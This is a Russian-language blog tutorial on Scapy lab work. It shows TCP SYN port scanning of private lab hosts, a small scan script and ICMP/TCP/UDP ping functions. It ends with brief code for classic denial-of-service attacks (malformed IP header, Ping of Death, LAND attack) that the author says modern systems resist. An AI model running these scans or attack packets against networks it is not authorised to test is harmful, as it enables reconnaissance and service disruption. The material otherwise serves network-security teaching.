Продолжим нашу лабораторную работу с Python и Scapy. Начало здесь.
Сканирование порта TCP.
Самым первым шагом для любых потенциального хакеров почти всегда является попытка изучить какие службы открыты в данной сетевой среде с тем, чтобы они могли сосредоточить свои усилия на определённой атаке. Конечно, нам необходимо открыть определённые порты чтобы обслуживать своих потребителей, однако нам также следует закрыть все открытые порты, которые не являются обязательными для снижения имеющегося риска. Мы можем воспользоваться Scapy для осуществления простого сканирования открытых портов.
Мы можем отправить некий пакет SYN и посмотреть ответит ли определённый сервер с помощью SYN-ACK:
>>> p = sr1(IP(dst="10.0.0.14")/TCP(sport=666,dport=23,flags="S"))
>>> p.show()
###[ IP ]###
version= 4L
ihl= 5L
tos= 0x0
len= 40
id= 25373
flags= DF
frag= 0L
ttl= 62
proto= tcp
chksum= 0xc59b
src= 10.0.0.14
dst= 10.0.0.10
options
###[ TCP ]###
sport= telnet
dport= 666
seq= 0
ack= 1
dataofs= 5L
reserved= 0L
flags= RA
window= 0
chksum= 0x9907
urgptr= 0
options= {}
Отметим, что в приведённом здесь выводе определённый сервер отвечает RESET+ACK по порту TCP 23. Однако, порт TCP 22 открыт, тем самым возвращается SYN-ACK:
>>> p = sr1(IP(dst="10.0.0.14")/TCP(sport=666,dport=22,flags="S"))
>>> p.show()
###[ IP ]###
version= 4L
<пропуск>
proto= tcp
chksum= 0x28b5
src= 10.0.0.14
dst= 10.0.0.10
options
###[ TCP ]###
sport= ssh
dport= 666
<пропуск>
flags= SA
<пропуск>
Мы также можем просканировать некий диапазон портов с 20 по 22; отметим, что мы применяем для отправки- приёма sr() вместо обычного sr1() отправить- принять- один- пакет:
>>> ans,unans = sr(IP(dst="10.0.0.14")/TCP(sport=666,dport=(20,22),flags="S"))
>>> for i in ans:
... print i
...
(<IP frag=0 proto=tcp dst=10.0.0.14 |<TCP sport=666 dport=ftp_data flags=S |>>, <IP version=4L ihl=5L tos=0x0 len=40 id=4126 flags=DF frag=0L ttl=62 proto=tcp chksum=0x189b src=10.0.0.14 dst=10.0.0.10 options=[] |<TCP sport=ftp_data dport=666 seq=0 ack=1 dataofs=5L reserved=0L flags=RA window=0 chksum=0x990a urgptr=0 |>>)
(<IP frag=0 proto=tcp dst=10.0.0.14 |<TCP sport=666 dport=ftp flags=S |>>, <IP version=4L ihl=5L tos=0x0 len=40 id=4127 flags=DF frag=0L ttl=62 proto=tcp chksum=0x189a src=10.0.0.14 dst=10.0.0.10 options=[] |<TCP sport=ftp dport=666 seq=0 ack=1 dataofs=5L reserved=0L flags=RA window=0 chksum=0x9909 urgptr=0 |>>)
(<IP frag=0 proto=tcp dst=10.0.0.14 |<TCP sport=666 dport=ssh flags=S |>>, <IP version=4L ihl=5L tos=0x0 len=44 id=0 flags=DF frag=0L ttl=62 proto=tcp chksum=0x28b5 src=10.0.0.14 dst=10.0.0.10 options=[] |<TCP sport=ssh dport=666 seq=4187384571 ack=1 dataofs=6L reserved=0L flags=SA window=29200 chksum=0xaaab urgptr=0 options=[('MSS', 1460)] |>>)
>>>
Мы также можем определить некую сеть назначения вместо отдельного хоста. Как вы можете видеть из имеющегося блока 10.0.0.8/29 , хосты 10.0.0.9, 10.0.0.13 и 10.0.0.14 возвращаются с SA, что соответствует двум имеющимся сетевым устройствам и одному хосту:
>>> ans,unans = sr(IP(dst="10.0.0.8/29")/TCP(sport=666,dport=(22),flags="S"))
>>> for i in ans:
... print(i)
...
(<IP frag=0 proto=tcp dst=10.0.0.9 |<TCP sport=666 dport=ssh flags=S |>>, <IP version=4L ihl=5L tos=0x0 len=44 id=7304 flags= frag=0L ttl=64 proto=tcp chksum=0x4a32 src=10.0.0.9 dst=10.0.0.10 options=[] |<TCP sport=ssh dport=666 seq=541401209 ack=1 dataofs=6L reserved=0L flags=SA window=17292 chksum=0xfd18 urgptr=0 options=[('MSS', 1444)] |>>)
(<IP frag=0 proto=tcp dst=10.0.0.14 |<TCP sport=666 dport=ssh flags=S |>>, <IP version=4L ihl=5L tos=0x0 len=44 id=0 flags=DF frag=0L ttl=62 proto=tcp chksum=0x28b5 src=10.0.0.14 dst=10.0.0.10 options=[] |<TCP sport=ssh dport=666 seq=4222593330 ack=1 dataofs=6L reserved=0L flags=SA window=29200 chksum=0x6a5b urgptr=0 options=[('MSS', 1460)] |>>)
(<IP frag=0 proto=tcp dst=10.0.0.13 |<TCP sport=666 dport=ssh flags=S |>>, <IP version=4L ihl=5L tos=0x0 len=44 id=41992 flags= frag=0L ttl=254 proto=tcp chksum=0x4ad src=10.0.0.13 dst=10.0.0.10 options=[] |<TCP sport=ssh dport=666 seq=2167267659 ack=1 dataofs=6L reserved=0L flags=SA window=4128 chksum=0x1252 urgptr=0 options=[('MSS', 536)] |>>)
Основываясь на том, что мы освоили на данный момент, мы можем сделать простой сценарий для многократного применения, scapy_tcp_scan.py. Мы начнём с предложенного импорта Scapy и модуля sys для получения аргументов:
#!/usr/bin/env python2
from scapy.all import *
import sys
Наша функция tcp_scan() аналогична тому, что мы видели ранее до этого момента:
def tcp_scan(destination, dport):
ans, unans = sr(IP(dst=destination)/TCP(sport=666,dport=dport,flags="S"))
for sending, returned in ans:
if 'SA' in str(returned[TCP].flags):
return destination + " port " + str(sending[TCP].dport) + "is open"
else:
return destination + " port " + str(sending[TCP].dport) + "is not open"
Затем мы можем достать ввод из аргументов, а потом вызвать свою функцию tcp_scan() из main():
def main():
destination = sys.argv[1]
port = int(sys.argv[2])
scan_result = tcp_scan(destination, port)
print(scan_result)
if __name__ == "__main__":
main()
Помните, что для Scapy необходим доступ с правами root, таким образом нашему сценарию понадобится исполнение в виде sudo.
Полный вариант кода:
#!/usr/bin/env python2
from scapy.all import *
import sys
def tcp_scan(destination, dport):
ans, unans = sr(IP(dst=destination)/TCP(sport=777,dport=dport,flags="S"))
for sending, returned in ans:
if `18` in str(returned[TCP].flags):
return destination + " port " + str(sending[TCP].dport) + "is open"
else:
return destination + " port " + str(sending[TCP].dport) + "is not open"
def main():
destination = sys.argv[1]
port = int(sys.argv[2])
scan_result = tcp_scan(destination, port)
print(scan_result)
if __name__ == "__main__":
main()
admin1@admin1-VirtualBox:~$ sudo python scapy_tcp_scan.py "10.0.0.14" 23
<пропуск>
10.0.0.14 port 23 is not open
admin1@admin1-VirtualBox:~$ sudo python scapy_tcp_scan.py "10.0.0.14" 22
<пропуск>
10.0.0.14 port 22 is open
Замечу что str(returned[TCP].flags) возвращает "18" как преобразование из двоичного значения полученных флагов, а не "SA" как было указано вначале.
Это относительно длинный пример нашего сканирования TCP, который демонстрирует значительную мощность обработки вручную ваших собственных пакетов с помощью Scapy. Он выполняет в определённом интерактивном режиме, а затем завершается использованием некоего простого сценария. Давайте рассмотрим некоторые дополнительные примеры использования Scapy для проверки безопасности.
Собираем свой ping.
Давайте предположим, что наша сетевая среда содержит некий замес машин Windows, Unix и Linux, причём пользователи добавляют свои собственные BYOD (Bring Your Own Device, Приветствуются собственные устройства); они могут поддерживать, а могут и нет ping ICMP. Сейчас мы сконструируем некий файл с тремя типами обычного ping для своей сетевой среды, а именно ping ICMP, TCP и UDP в scapy_ping_collection.py:
#!/usr/bin/env python2
from scapy.all import *
def icmp_ping(destination):
# обычный ICMP ping
ans, unans = sr(IP(dst=destination)/ICMP())
return ans
def tcp_ping(destination, dport):
# Сканирование TCP SYN
ans, unans = sr(IP(dst=destination)/TCP(dport=dport,flags="S"))
return ans
def udp_ping(destination):
# Ошибка недоступности порта ICMP для закрытого порта
ans, unans = sr(IP(dst=destination)/UDP(dport=0))
return ans
В данном примере мы также применим summary() и sprintf() для своего вывода:
def answer_summary(answer_list):
# Пример лямбда с удобной печатью
answer_list.summary(lambda(s, r): r.sprintf("%IP.src% is alive"))
Затем мы можем исполнить все три типа ping в имеющейся сетевой среде в одном сценарии:
def main():
print("** ICMP Ping **")
ans = icmp_ping("10.0.0.13-14")
answer_summary(ans)
print("** TCP Ping **")
ans = tcp_ping("10.0.0.13", 22)
answer_summary(ans)
print("** UDP Ping **")
ans = udp_ping("10.0.0.13-14")
answer_summary(ans)
if __name__ == "__main__":
main()
На данном этапе, как я надеюсь, вы согласитесь со мной в том, что, имея возможность создавать свой собственный пакет, вы можете отвечать за тот тип операций и проверок, которые вы бы желали запустить.
Простые атаки.
В этом примере использования Scapy давайте рассмотрим как мы можем построить свой пакет для проведения некоторых видов атак, таких как Ping of Death (Ping смерти) и LAND Attack (Отказ в обслуживании LAN). Иногда вы вначале вы первоначально платите за некое коммерческое программное обеспечение для тестирования проникновения. С помощью Scapy вы сможете проводить собственную проверку, сопровождаемую полным контролем помимо добавления дополнительных тестов в последующем.
Самая первая атака в основном отправляет определённому хосту получателя некий поддельный заголовок IP, например, с длиной 2 и версией IP 3:
def malformed_packet_attack(host):
send(IP(dst=host, ihl=2, version=3)/ICMP())
Атака Ping of Death заключается в постоянной отправке пакета ICMP с полезной нагрузкой, превышающей 65 535 байт:
def ping_of_death_attack(host):
# https://en.wikipedia.org/wiki/Ping_of_death
send(fragment(IP(dst=host)/ICMP()/("X"*60000)))
Атака LAND Attack желает перенаправлять все отклики клиента обратно самому этому клиенту и исчерпывает имеющиеся у данного хоста ресурсы:
def land_attack(host):
# https://en.wikipedia.org/wiki/Denial-of-service_attack
send(IP(src=host, dst=host)/TCP(sport=135,dport=135))
Это достаточно старые уязвимости или классические атаки, к которым больше не восприимчивы все современные операционные системы. Для нашего хоста Ubuntu 18.04.5 никакая из предыдущих атак не приводит к его падению. Однако, при обнаружении дополнительных проблем безопасности, Scapy является великолепным инструментом для того, чтобы начать проверку вашей собственной сетевой среды без необходимости ожидания помощи от производителя с предоставлением вам платных средств проверки. Это в особенности верно для атак нулевого дня (появления без предварительного уведомления), которые всё чаще и чаще встречаются во Интернете.
Удачи.
No comments:
Post a Comment
А что вы думаете по этому поводу?